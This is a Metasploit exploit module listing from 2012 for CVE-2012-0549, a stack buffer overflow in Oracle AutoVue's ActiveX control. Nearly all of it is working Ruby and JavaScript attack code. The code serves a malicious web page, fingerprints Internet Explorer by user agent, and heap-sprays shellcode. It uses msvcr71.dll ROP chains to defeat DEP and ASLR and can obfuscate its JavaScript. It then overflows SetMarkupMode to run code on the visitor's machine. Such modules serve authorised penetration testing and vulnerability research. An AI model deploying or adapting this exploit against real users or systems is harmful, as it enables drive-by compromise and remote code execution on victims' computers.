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Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow

Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow
Posted Aug 7, 2012
Authored by juan vazquez, Brian Gorenc | Site metasploit.com

This Metasploit module exploits a vulnerability found in the AutoVue.ocx ActiveX control. The vulnerability, due to the insecure usage of an strcpy like function in the SetMarkupMode method, when handling a specially crafted sMarkup argument, allows to trigger a stack based buffer overflow which leads to code execution under the context of the user visiting a malicious web page. The module has been successfully tested against Oracle AutoVue Desktop Version 20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and ASLR bypass).

tags | exploit, java, web, overflow, code execution, activex
advisories | CVE-2012-0549, OSVDB-81439
SHA-256 | d858c8b6d6fe0d0ffc9d06afc12e482599a5ca2b027ef372734fa46886a66c4d

Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:classid => "{B6FCC215-D303-11D1-BC6C-0000C078797F}",
:method => "SetMarkupMode",
:rank => NormalRanking
})


def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.
The vulnerability, due to the insecure usage of an strcpy like function in the
SetMarkupMode method, when handling a specially crafted sMarkup argument, allows
to trigger a stack based buffer overflow which leads to code execution under the
context of the user visiting a malicious web page.

The module has been successfully tested against Oracle AutoVue Desktop Version
20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and
ASLR bypass).
},
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0549' ],
[ 'BID', '53077' ],
[ 'OSVDB', '81439' ],
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',

},
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# AutoVue.ocx 20.0.0.7330
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'SprayBlocks' => 0x185,
'SprayCounter' => '0x5f2', # 0x0c0c0c08
'SprayOffset' => '0x600', # 0x0c0c0c24
'Offset' => 1052,
'Ret' => 0x0c0c0c0c,
'Rop' => nil,
'RandomHeap' => false
}
],
[
'IE 7 on Windows XP SP3 / Windows Vista SP2',
{
'SprayBlocks' => 0x185,
'SprayCounter' => '0x5f2', # 0x0c0c0c08
'SprayOffset' => '0x600', # 0x0c0c0c24
'Offset' => 1052,
'Ret' => 0x0c0c0c0c,
'Rop' => nil,
'RandomHeap' => false
}
],
[
'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2',
{
'SprayBlocks' => 0x185,
'SprayCounter' => '0x5f2', # 0x0c0c0c08
'SprayStackPivot' => '0x5f6', # 0x0c0c0c10
'SprayOffset' => '0x5fc', # 0x0c0c0c1c
'Offset' => 1052,
'Ret' => 0x0c0c0c0c,
'Rop' => :jre,
'RandomHeap' => false,
}
],
[
'IE 9 with Java 6 on Windows 7 SP1',
{
'SprayBlocks' => 0x1000,
'SprayNops' => '0x5f6', # 0x0c0c0bfc
'SprayCounter' => '0x5fc', # 0x0c0c0c08
'SprayStackPivot' => '0x600', # 0x0c0c0c10
'SprayOffset' => '0x606', # 0x0c0c0c1c
'Offset' => 1052,
'Ret' => 0x0c0c0c0c,
'Rop' => :jre,
'RandomHeap' => true,
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 18 2012',
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class
)

end

def get_easy_spray(t, js_code, js_nops, js_counter)

spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
var counter = unescape("#{js_counter}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['SprayCounter']});
var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length);
var block_used = code.length + offset_2.length + counter.length + offset.length;
var shellcode = offset + counter + offset_2 + code + nops.substring(0, 0x800 - block_used);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var z=1; z < #{t['SprayBlocks']}; z++) {
heap_obj.alloc(block);
}

JS

return spray

end

def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)

spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
var counter = unescape("#{js_counter}");
var stack_pivot = unescape("#{js_stack_pivot}")

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['SprayCounter']});
var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length);
var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length);
var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length;
var shellcode = offset + counter + offset_2 + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var z=1; z < #{t['SprayBlocks']}; z++) {
heap_obj.alloc(block);
}

JS

return spray

end

# Spray published by corelanc0d3r
# Exploit writing tutorial part 11 : Heap Spraying Demystified
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)

spray = <<-JS

function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
var nops_90 = unescape("#{js_90_nops}");
var counter = unescape("#{js_counter}");
var stack_pivot = unescape("#{js_stack_pivot}")

while (nops_90.length < 0x80000) nops_90 += nops_90;

for (var i=0; i < #{t['SprayBlocks']}; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;


var offset = padding.substring(0, #{t['SprayNops']});
var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length);
var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length - nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length);
var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length;
var single_sprayblock = offset + nops + offset_2 + counter + nops + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}

JS

return spray
end


def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def nop
return make_nops(4).unpack("V").first
end

# stackpivot from msvcr71.dll
def get_stack_pivot_stage_1
rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN
return rop
end

# stackpivot from msvcr71.dll
def get_stack_pivot_stage_2
rop = [
0x7c3522ca, # ADD EAX,20 # RETN
0x7c348b05, # XCHG EAX,ESP # RETN
].pack("V*")
rop = rop.gsub(/"/, "\\\"")
return rop
end

# ROP chain (msvcr71.dll) generated by mona.py - See corelan.be
def get_rop_chain
rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")

return rop
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows Vista SP2
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows 7 SP1/Vista SP2
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
return targets[4] #IE 9 on Windows 7 SP1
else
return nil
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have a setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

p = payload.encoded

if my_target['Rop'].nil?
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
else
js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch))
js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch))
end

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch))

js = ""

if my_target['RandomHeap']
js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
elsif my_target['Rop']
js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot)
else
js = get_easy_spray(my_target, js_code, js_nops, js_counter)
end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

if my_target['Rop'].nil?
sploit = rand_text_alpha(my_target['Offset'])
else
sploit = rand_text_alpha(8)
sploit << get_stack_pivot_stage_2
# +1 because of the escape character in get_stack_pivot_stage_2
sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1)
end
sploit << [my_target.ret].pack("V")

html = <<-MYHTML
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' />
</object>
<script>
setTimeout(function(){ obj.SetMarkupMode("#{sploit}"); }, 100);
</script>
</body>
</html>
MYHTML

html = html.gsub(/^\t\t/, '')

print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
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